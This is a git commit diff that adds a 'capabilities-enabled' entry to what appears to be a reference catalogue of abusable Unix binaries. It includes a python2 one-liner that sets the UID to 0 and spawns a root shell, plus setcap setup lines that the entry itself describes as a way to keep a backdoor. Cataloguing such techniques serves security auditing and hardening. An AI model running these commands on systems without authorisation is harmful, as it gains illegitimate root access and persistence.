Drafting capabilities

This commit is contained in:
Emilio Pinna 2018-09-12 21:29:53 +01:00
parent 6e11e36a91
commit 1afd9ec9ec
3 changed files with 13 additions and 0 deletions

View File

@ -62,6 +62,13 @@ load-library:
It loads shared libraries that may be used to run code in the binary It loads shared libraries that may be used to run code in the binary
execution context. execution context.
capabilities-enabled:
label: Capabilities
description: |
It can manipulate its process UID and in Linux systems it can be set with the
`CAP_SETUID` capability to make it work as a backdoor to maintain elevated privileges.
This also works if the binary is invoked by another binary with the capability set.
suid-enabled: suid-enabled:
label: SUID label: SUID
description: | description: |

View File

@ -30,6 +30,8 @@ functions:
- code: python2 -c 'open("file_to_read").read()' - code: python2 -c 'open("file_to_read").read()'
load-library: load-library:
- code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' - code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
capabilities-enabled:
- code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
suid-enabled: suid-enabled:
- code: ./python2 -c 'import os; os.system("/bin/sh -p")' - code: ./python2 -c 'import os; os.system("/bin/sh -p")'
sudo-enabled: sudo-enabled:

View File

@ -30,6 +30,10 @@ layout: common
cp $(which {{ bin_name }}) . cp $(which {{ bin_name }}) .
sudo sh -c 'chown 0 ./{{ bin_name }}; chmod +s ./{{ bin_name }}' sudo sh -c 'chown 0 ./{{ bin_name }}; chmod +s ./{{ bin_name }}'
{% endif %} {% endif %}
{%- if function_name == 'capabilities-enabled' %}
cp $(which {{ bin_name }}) .
sudo setcap cap_setuid+ep {{ bin_name }}
{% endif %}
{{ example.code }} {{ example.code }}
{% endcapture %} {% endcapture %}